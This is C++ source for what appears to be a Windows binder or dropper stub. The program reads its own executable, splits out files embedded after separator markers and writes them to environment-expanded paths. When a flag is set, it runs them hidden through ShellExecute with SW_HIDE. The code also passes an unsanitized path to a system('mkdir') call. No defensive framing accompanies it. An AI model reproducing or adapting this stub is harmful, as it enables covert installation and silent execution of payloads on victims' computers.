#include <fstream>
#include <vector>
#include <windows.h>
#include <stdint.h>

typedef std::ios::pos_type pos_t;

const int maxPathSize=128;

uint32_t fileSize(const char*);
std::vector<pos_t> findSeparators(const char *, uint32_t, const char*);
bool extract(const char*, std::vector<pos_t> &, unsigned short);

int main(unsigned argc, char *argv[]){
  std::ifstream currentFile(argv[0], std::ios::in|std::ios::binary);
  if(!currentFile.is_open())
    return 0;

  const uint32_t size=fileSize(argv[0]);
  char *buff=new char[size];
  if(buff==0)
    return 0;

  currentFile.read(buff, size);

  char separator[]="*)&#>^$%*<(@,,!~";
  separator[0]='@';    //becouse stub would find separator in itself

  std::vector<pos_t> separators=findSeparators(buff, size, separator);

  extract(buff, separators, strlen(separator));

  delete[] buff;
  return 0;
}

std::vector<pos_t> findSeparators(const char *buff, uint32_t size, const char *separator){
  std::vector<pos_t> results;

  for(pos_t i=0;i<size;i+=1){
    for(unsigned short c=0;c<strlen(separator);c++){
      if(*(buff+i+c)==*(separator+c)){
        if(c==strlen(separator)-1)
          results.push_back(i);
      }
      else
        break;
    }
  }
  results.push_back(size);

  return results;
}

uint32_t fileSize(const char *filename){
  std::ifstream file(filename, std::ios::ate|std::ios::binary);

  return file.tellg();
}

bool extract(const char *file, std::vector<pos_t> &separators, unsigned short sepStrlen){
  for(unsigned i=0;i<separators.size()-1;i++){
    uint32_t size=separators[i+1]-separators[i]-sepStrlen-maxPathSize-1;

    char filepathBuff[maxPathSize];
    memcpy(filepathBuff, file+separators[i]+sepStrlen, maxPathSize);

    std::string filepath(filepathBuff);
    while(count(filepath.begin(), filepath.end(), '%')>=2){
        size_t beg=filepath.find('%');
        size_t end=filepath.find('%', beg+1);
        unsigned short size=end-beg-1;

        std::string var=filepath.substr(beg+1, size);
        filepath.replace(beg, size+2, getenv(var.c_str()));
    }

    int pathSize=filepath.find_last_of('\\');
    if(pathSize>0){
        std::string dir=filepath.substr(0, pathSize);
        system(("mkdir "+dir).c_str());
    }

    char run;
    memcpy(&run, file+separators[i]+sepStrlen+maxPathSize, 1);

    std::ofstream output(filepath.c_str(), std::ios::out|std::ios::binary|std::ios::trunc);
    output.write(file+separators[i]+maxPathSize+sepStrlen+1, size);
    output.close();

    wchar_t buff[maxPathSize];
    MultiByteToWideChar(CP_ACP, 0, filepath.c_str(), -1, buff, sizeof(buff));
    if(run==1)
      ShellExecute(0, L"open", buff, 0, 0, SW_HIDE);

  }
  return true;
}
